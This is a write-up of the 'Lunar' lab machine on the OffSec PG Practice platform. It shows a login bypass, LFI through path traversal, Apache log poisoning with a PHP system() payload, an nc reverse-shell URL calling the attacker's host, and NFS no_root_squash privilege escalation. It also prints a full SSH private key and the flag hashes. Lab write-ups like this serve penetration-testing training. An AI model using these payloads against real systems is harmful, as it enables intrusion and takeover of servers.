Summary #
On port 80 we can download a zip file containing the source code of the web application. Exploiting PHP code we can get LFI, through log poisoning we get remote code execution and initial access as the www-data
user. Finding the SSH private key of the liam
user we can log into the target via SSH and move laterally. Abusing the no_root_squash
in /etc/export
NFS share srv/share
we can get privilege escalation to the root
user.
Specifications #
- Name: LUNAR
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux lunar 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.138.216
- OFFSEC provided credentials: None
- HASH:
local.txt
:19bf9dfdf9273fdfb55da8be6db06900
- HASH:
proof.txt
:11b49c4815b83858bbc9efde6c25ba56
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir lunar && cd lunar && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Oct 8 15:17 .
drwxrwxr-x 85 kali kali 4096 Oct 8 15:17 ..
drwxrwxr-x 2 kali kali 4096 Oct 8 15:17 enum
drwxrwxr-x 2 kali kali 4096 Oct 8 15:17 exploits
drwxrwxr-x 2 kali kali 4096 Oct 8 15:17 files
drwxrwxr-x 2 kali kali 4096 Oct 8 15:17 tools
drwxrwxr-x 2 kali kali 4096 Oct 8 15:17 uploads
## set bash variable
ip=192.168.138.216
## ping target to check if it's online
ping $ip
PING 192.168.138.216 (192.168.138.216) 56(84) bytes of data.
64 bytes from 192.168.138.216: icmp_seq=1 ttl=61 time=22.2 ms
64 bytes from 192.168.138.216: icmp_seq=2 ttl=61 time=26.5 ms
^C
--- 192.168.138.216 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 22.198/24.349/26.500/2.151 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone was here 🚀
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.138.216:22
Open 192.168.138.216:80
Open 192.168.138.216:111
Open 192.168.138.216:2049
Open 192.168.138.216:40683
Open 192.168.138.216:43109
Open 192.168.138.216:46389
Open 192.168.138.216:57813
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 15:22 CEST
Initiating Ping Scan at 15:22
Scanning 192.168.138.216 [4 ports]
Completed Ping Scan at 15:22, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:22
Completed Parallel DNS resolution of 1 host. at 15:22, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:22
Scanning 192.168.138.216 [8 ports]
Discovered open port 22/tcp on 192.168.138.216
Discovered open port 111/tcp on 192.168.138.216
Discovered open port 46389/tcp on 192.168.138.216
Discovered open port 80/tcp on 192.168.138.216
Discovered open port 57813/tcp on 192.168.138.216
Discovered open port 43109/tcp on 192.168.138.216
Discovered open port 40683/tcp on 192.168.138.216
Discovered open port 2049/tcp on 192.168.138.216
Completed SYN Stealth Scan at 15:22, 0.05s elapsed (8 total ports)
Nmap scan report for 192.168.138.216
Host is up, received reset ttl 61 (0.021s latency).
Scanned at 2025-10-08 15:22:09 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
2049/tcp open nfs syn-ack ttl 61
40683/tcp open unknown syn-ack ttl 61
43109/tcp open unknown syn-ack ttl 61
46389/tcp open unknown syn-ack ttl 61
57813/tcp open unknown syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 12 (504B) | Rcvd: 9 (392B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
2049/tcp open nfs syn-ack ttl 61
40683/tcp open unknown syn-ack ttl 61
43109/tcp open unknown syn-ack ttl 61
46389/tcp open unknown syn-ack ttl 61
57813/tcp open unknown syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,111,2049,40683,43109,46389,57813
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,111,2049,40683,43109,46389,57813 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6RTbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
| 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 3653AD3D6A33550E6E60970FA20E1E00
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Lunar Studio
111/tcp open rpcbind syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 37951/tcp mountd
| 100005 1,2,3 44773/udp mountd
| 100021 1,3,4 39863/tcp nlockmgr
| 100021 1,3,4 59061/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
2049/tcp open nfs syn-ack ttl 61 3-4 (RPC #100003)
40683/tcp closed unknown reset ttl 61
43109/tcp closed unknown reset ttl 61
46389/tcp closed unknown reset ttl 61
57813/tcp closed unknown reset ttl 61
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 3653AD3D6A33550E6E60970FA20E1E00
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Lunar Studio
On port 80 there is a website called Lunar Studio
. Browsing this website doesn’t show many functionalities we can (ab)use.

So let’s run gobuster
to see if there are interesting directories/files. We find a file called backup.zip
. Browsing to this location: http://192.168.138.216/backup.zip
we download the zip-file. We move it to the ./files
directory and extract the zip-file.
## use `gobuster` to enumerate directories/files
gobuster dir -t 100 -u http://$ip:80/ -w /usr/share/dirb/wordlists/big.txt -x html,txt,zip | tee enum/gobuster-big-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.138.216:80/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: html,txt,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
<SNIP>
/backup.zip (Status: 200) [Size: 1265712]
<SNIP>
## change directory
cd files
## move downloaded file `backup.zip` to this location
mv ~/Downloads/backup.zip .
## extract the zip-file
7z x backup.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 1265712 bytes (1237 KiB)
Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 1265712
Everything is Ok
Files: 36
Size: 1802767
Compressed: 1265712
## list content directory
ls -la
total 1348
drwxrwxr-x 6 kali kali 4096 Oct 8 15:28 .
drwxrwxr-x 7 kali kali 4096 Oct 8 15:21 ..
-rw-rw-r-- 1 kali kali 1265712 Oct 8 15:26 backup.zip
-rw-rw-r-- 1 kali kali 118 Apr 29 2022 completed.php
drwxrwxr-x 2 kali kali 4096 Oct 8 15:27 css
-rw-rw-r-- 1 kali kali 29403 Apr 29 2022 dashboard.css
-rw-rw-r-- 1 kali kali 8273 Apr 30 2022 dashboard.php
-rw-rw-r-- 1 kali kali 2208 Apr 29 2022 favicon.ico
drwxrwxr-x 2 kali kali 4096 Oct 8 15:27 fonts
drwxrwxr-x 2 kali kali 4096 Oct 8 15:27 images
-rw-rw-r-- 1 kali kali 18871 Apr 29 2022 index.html
drwxrwxr-x 2 kali kali 4096 Oct 8 15:27 js
-rw-rw-r-- 1 kali kali 3943 May 12 2022 login.php
-rw-rw-r-- 1 kali kali 110 Apr 29 2022 pending.php
-rw-rw-r-- 1 kali kali 312 Oct 8 15:28 ports
Looking at the content of the backup.zip
it looks like the site we saw on port 80, let’s open index.html
in the browser. Indeed, it’s the same site. So, we’re probably looking at the source code of the website.
## open `index.html` in firefox
firefox index.html
The file login.php
contains interesting PHP code:
<?php
session_start();
include 'creds.php';
$error = null;
if ($_POST) {
if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
$_SESSION['email'] = $_POST['email'];
header('Location: dashboard.php');
die();
}
else {
$error = "Email or password is incorrect.";
}
}
?>
There is a creds.php
included, but this file is not present in the zip-file. We also see that the email: liam@lunar.local
is correct and should be used as the username. The password is compared with the strcmp
function which compare provided password with the variable $pwd. Searching online we can find: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html.
When this function is used for verifying credentials were the user controls one element, we can submit a blank array ([]=
) and bypass authentication. So, let’s try this.
Go to the login URL: http://192.168.138.216/login.php
with these credentials: liam@lunar.local:password
. Before clicking on Submit
, start BURP and set the proxy to intercept.

Click on Submit
and change the password
parameter to password[]=password
and click on Forward
.

Now we can see a Manage Projects
from the dashboard.php
page:

This dashboard.php
file is also available in the zip-file as source code. This file contains an interesting PHP code showing it includes basic input validation to restrict which files can be loaded, but it’s intentionally or unintentionally vulnerable to security issues like Local File Inclusion (LFI) attacks. include $_GET['show'] . $ext;
, dynamically includes (loads and executes) a file from the server’s filesystem. The filename is built by concatenating $_GET['show']
and $ext
.
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['show'])) {
if(containsStr($_GET['show'], 'pending') || containsStr($_GET['show'], 'completed')) {
error_reporting(E_ALL ^ E_WARNING);
include $_GET['show'] . $ext;
} else {
echo 'You can select either one of these only';
}
}
?>
To get LFI we can use this URL: http://192.168.138.216/dashboard.php?show=completed&ext=../../../../../../../../etc/passwd
to show the /etc/passwd
file. And it does show this file, so we got LFI.

Using this access to files on the target filesystem we can find access to the Apache access logs using this URL: http://192.168.138.216/dashboard.php?show=completed&ext=../../../../../../../../var/log/apache2/access.log
.
Because we can access the access.log
and present it in the browser we can use log poisoning the get remote code execution by inserting a PHP command that reads the cmd
parameter and executes, using: <?php system($_GET['cmd']); ?>
. So send this command to the log, because the request will be logged in the Apache log file access.log
. We use netcat to send the command.
## send php command using netcat
nc -nv $ip 80
(UNKNOWN) [192.168.138.216] 80 (http) open
GET /<?php system($_GET['cmd']); ?>
HTTP/1.1 400 Bad Request
Date: Wed, 08 Oct 2025 13:36:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
Verify the command implant was successful. In the log there should be an entry GET /\n
, and it is.

Let’s now test the RCE by sending a simple id
command, browse to this URL: http://192.168.138.216/dashboard.php?show=completed&ext=../../../../../../../../var/log/apache2/access.log&cmd=id
. And indeed we have code execution, because we see the output of the id
command between the slashes.

Now we want a reverse shell, but first setup a listener.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.196
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
Send the reverse shell command by browsing to this URL: http://192.168.138.216/dashboard.php?show=completed&ext=../../../../../../../../var/log/apache2/access.log&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2%3E%261|nc+192.168.45.196+9001+%3E/tmp/f
, and get initial access as the www-data
user in the /var/www/html
directory.
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.138.216] 37596
sh: 0: can't access tty; job control turned off
$
## print current user
$ whoami
www-data
## print current working directory
$ pwd
/var/www/html
Lateral Movement #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
In the /opt/liam/ssh-keys
directory we can find a file called id_rsa
. Copy this file locally to a file called id_rsa
in the ./files
directory. Change permissions for SSH keys and get access to the target as the liam
user.
## print `id_rsa`
www-data@lunar:/var/www/html$ cat /opt/liam/ssh-keys/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
XMUbx9M/i2At8AAAAKbGlhbUBsdW5hcgE=
-----END OPENSSH PRIVATE KEY-----
## locally:
## change directory
cd files
## create a file called `id_rsa` with this content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
XMUbx9M/i2At8AAAAKbGlhbUBsdW5hcgE=
-----END OPENSSH PRIVATE KEY-----
## change permissions SSH private key `id_rsa`
chmod 600 id_rsa
## login via SSH and private SSH key as `liam`
ssh -i id_rsa liam@$ip
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-110-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 08 Oct 2025 01:43:10 PM UTC
System load: 0.48 Processes: 251
Usage of /: 53.0% of 9.78GB Users logged in: 0
Memory usage: 30% IPv4 address for ens160: 192.168.138.216
Swap usage: 0%
5 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
$
## switch to bash shell
$ bash
liam@lunar:~$
## print `local.txt`
liam@lunar:~$ cat local.txt
19bf9dfdf9273fdfb55da8be6db06900
Privilege Escalation #
Linpeas.sh
doesn’t give all output, let’s upload LinEnum
to the target and run it.
## change directory locally
cd uploads
## download `LinEnum.sh`
wget https://raw.githubusercontent.com/rebootuser/LinEnum/refs/heads/master/LinEnum.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## download `LinEnum.sh` using the open port 80
liam@lunar:~$ wget http://192.168.45.196/LinEnum.sh
--2025-10-08 16:53:22-- http://192.168.45.196/LinEnum.sh
Connecting to 192.168.45.196:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘LinEnum.sh.1’
LinEnum.sh.1 100%[===========================================>] 45.54K --.-KB/s in 0.04s
2025-10-08 16:53:22 (1.07 MB/s) - ‘LinEnum.sh.1’ saved [46631/46631]
## set the execution bit
liam@lunar:~$ chmod +x LinEnum.sh
## run `LinEnum.sh`
liam@lunar:~$ ./LinEnum.sh
The LinEnum.sh
output shows /etc/exports
containing no_root_squash
. In the NMAP output we saw port 2049 open with the NFS service. Using showmount
to show mount information gives /srv/share localhost
as output. This is also what is shown in the /etc/exports
.
## print content `/etc/exports`
liam@lunar:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/srv/share localhost(rw,sync,no_root_squash)
## locally:
## connect to NFS service
showmount -e $ip
Export list for 192.168.138.216:
/srv/share localhost
Fortunately, the current user liam
is member of the network
group, which can edit the /etc/hosts
file. This allows us to add our own IP address to localhost. Once that’s done we can mount it to a directory we create.
## print real and effective user and group id's using `id`
liam@lunar:~$ id
uid=1000(liam) gid=1000(liam) groups=1000(liam),1001(network)
## list permissions `/etc/hosts`
liam@lunar:~$ ls -la /etc/hosts
-rw-rwxr-- 1 root network 36 May 18 2022 /etc/hosts
## locally:
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.196
## on target:
## add local IP address on tun0 as localhost
echo "192.168.45.196 localhost" >> /etc/hosts
## locally:
## change directory
cd files
## create directory
mkdir mnt
## mount the share
sudo mount -t nfs $ip:/srv/share ./mnt -o nolock
Now we just copy the bash binary to the srv/share
directory, change owner to the root
user and set the SUID bit. Then escalate our privileges to the root
user.
## on target:
## change directory
liam@lunar:~$ cd /srv/share
liam@lunar:/srv/share$
## copy the `bash` binary to `/srv/share`
liam@lunar:/srv/share$ cp /bin/bash .
## locally:
## change ownership and set SUID bit
sudo chown root:root ./bash && sudo chmod +s ./bash
